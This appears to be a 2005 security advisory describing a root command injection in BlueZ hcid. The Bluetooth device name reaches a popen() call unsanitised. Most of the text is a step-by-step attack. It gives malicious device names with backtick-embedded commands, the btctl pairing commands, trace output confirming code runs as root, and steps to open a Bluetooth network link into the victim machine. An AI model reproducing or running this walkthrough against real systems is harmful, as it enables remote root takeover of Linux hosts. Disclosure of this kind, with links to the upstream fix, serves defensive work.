[UNIX] Bluez Hcid popen() Explained

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Bluez Hcid popen() Explained
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SUMMARY

<http://www.bluez.org/> Bluez's overall goal is to make an implementation
of the Bluetooth wireless standards specifications for Linux. The
following document attempts to outline an exploitable popen() bug in
Bluez's hcid, found in the security.c file.

DETAILS

In order for the vulnerability to become exploitable the target must have
its security manager set to "user" in /etc/bluetooth/hcid.conf. It must
also needs to have a PIN helper defined.

NOTE: Installing program such as KDE Bluetooth may also influence the
targets settings.

# Security Manager mode
# none - Security manager disabled
# auto - Use local PIN for incoming connections
# user - Always ask user for a PIN
#
security user;

# PIN helper
pin_helper /usr/bin/bluez-pin;

Obviously hcid must also be started and working and the target MUST have a
Bluetooth dongle.

threat:~# ps -ef | grep hcid | grep -v grep
root 4426 1 0 23:54 ? 00:00:00 hcid: processing events

The next requirement for exploitation is that the attacking devices name
must be cached in /var/lib/bluetooth. Using hcitool with the scan option
is an easy way to demonstrate how a device name gets cached. As I
mentioned above installing things like KDE Bluetooth may influence the
configuration. Some user options cause periodic Bluetooth scans that may
populate the name cache.

threat:~# hcitool scan
Scanning ...
00:04:3E:65:A1:C8 '`/usr/bin/id>/tmp/pwned`'

In ltrace when the attacking host attempts to pair with the target we can
see the cache file being opened and its contents later being used in a
popen() call.

[0x804c72b] open("/var/lib/bluetooth/00:20:E0:4C:CF:DF/names", 66, 0644) =
7
..
[0x804c9c0] write(7, "00:04:3E:65:A1:C8 '`/usr/bin/id>/tmp/pwned`'\n", 43)
= 43
..
[0x804b771] fork() = 4462
[pid 4426] [0x804bc88] free(0x8056558) = <void>
[pid 4426] [0x8050085] poll(0x805b410, 3, -1, 1, 0x804a880 <unfinished
..>
[pid 4462] [0x804b8df] fgets( <unfinished ...>
[pid 4462] [0x4013c8de] --- SIGCHLD (Child exited) ---
[pid 4462] [0x804b8df] <... fgets resumed> "ERR\n", 255, 0x805d5c8) =
0xbffff6a0
[pid 4462] [0x804b8ed] pclose(0x805d5c8) = 0
[pid 4462] [0x804b907] strlen("ERR\n") = 4
[pid 4462] [0x804b95b] hci_send_cmd(6, 1, 14, 6, 0x8056562) = 0
[pid 4462] [0x804b967] exit(0 <unfinished ...>
[pid 4462] [0xffffffff] +++ exited (status 0) +++

Depending on which PIN helper the target is using it may see something
like "Incoming connection from <BD_ADDR>".

At this point regardless of refusal to pair or incorrect passwords the
attacker has already delivered his payload.

threat:/etc/bluetooth# ls -al /tmp/pwned
-rw-r--r-- 1 root root 39 2005-08-17 00:10 /tmp/pwned
threat:/etc/bluetooth# cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)

In order to shed a bit more light on the subject I will outline the attack
from the attackers prospective.

First we profile the target.
kfinisterre@animosity:~$ btclt discovery
Searching 8 sec ...
Searching done. Resolving names ...
done.
+1: Address: 00:20:e0:4c:cf:df, Class: 0x3E0100, Key: "no", Name: "threat"
Computer (Unclassified) [Networking,Rendering,Capturing,Object
Transfer,Audio]

Next set a malformed Bluetooth name to aid in taking over the host.
kfinisterre@animosity:~$ btctl name
Name: '`/usr/bin/pand --listen --master --role=NAP; while true; do
/sbin/ifconfig bnep0 192.168.2.69 up; sleep 5 ; done`'

Initiate the attack.
kfinisterre@animosity:~$ btctl addpin 00:20:e0:4c:cf:df 1111
kfinisterre@animosity:~$ btctl pair 00:11:B1:07:BE:A7
HCI error: LMP response timeout (34)

At this point on the target we have run a few commands as root and we are
waiting for a PAN connection.
root 3618 3110 0 21:12 ? 00:00:00 hcid: processing events
root 3619 3618 0 21:12 ? 00:00:00 sh -c /usr/bin/bluez-pin in
00:04:3E:65:A1:C8 ''`/usr/bin/pand --listen --masterroot 3620 3619 0 21:12
? 00:00:00 sh -c /usr/bin/bluez-pin in 00:04:3E:65:A1:C8 ''`/usr/bin/pand
--listen --masterroot 3622 1 0 21:12 ? 00:00:00 /usr/bin/pand --listen
--master --role=NAP
root 3711 1 0 21:13 ? 00:00:00 [kbnepd bnep0]
root 3728 3620 0 21:13 ? 00:00:00 sleep 5
root 3729 3406 0 21:13 pts/1 00:00:00 ps -ef

On the attacking machine close any open connections and then make a PAN
connection to the target so that bnep0 will form.

kfinisterre@animosity:~$ btpan stop
kfinisterre@animosity:~$ btpan init panu
kfinisterre@animosity:~$ btpan connect 00:11:b1:07:be:a7
Connecting to host 00:11:b1:07:be:a7 ...
Service found
connected.

Wait a moment for the address to set on the target, and then configure
your own machine to join the PAN.

On the target the address should take after a few seconds.

threat:~# ifconfig
bnep0 Link encap:Ethernet HWaddr 00:11:B1:07:BE:A7
inet addr:192.168.2.69 Bcast:192.168.2.255 Mask:255.255.255.0
inet6 addr: fe80::211:b1ff:fe07:bea7/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:24 (24.0 b) TX bytes:240 (240.0 b)

Once our machine is configured we should have an IP connection to the
target over Bluetooth.

animosity:/home/kfinisterre# ifconfig pan0 192.168.2.11
animosity:/home/kfinisterre# ping 192.168.2.69
PING 192.168.2.69 (192.168.2.69) 56(84) bytes of data.
64 bytes from 192.168.2.69: icmp_seq=1 ttl=64 time=52.2 ms
64 bytes from 192.168.2.69: icmp_seq=2 ttl=64 time=41.9 ms

Obviously at this point your imagination should have kicked in and KF will
leave the rest as an exercise for the reader.

Resources:
The diff of the source files on this article can be found at:
<http://cvs.sourceforge.net/viewcvs.py/bluez/utils/hcid/security.c?r1=1.34&r2=1.31> http://cvs.sourceforge.net/viewcvs.py/bluez/utils/hcid/security.c?r1=1.34&r2=1.31

<http://cvs.sourceforge.net/viewcvs.py/bluez/utils/hcid/security.c?r1=1.36&r2=1.34> http://cvs.sourceforge.net/viewcvs.py/bluez/utils/hcid/security.c?r1=1.36&r2=1.34

ADDITIONAL INFORMATION

The information has been provided by
<mailto:kf_lists@digitalmunition.com> KF.

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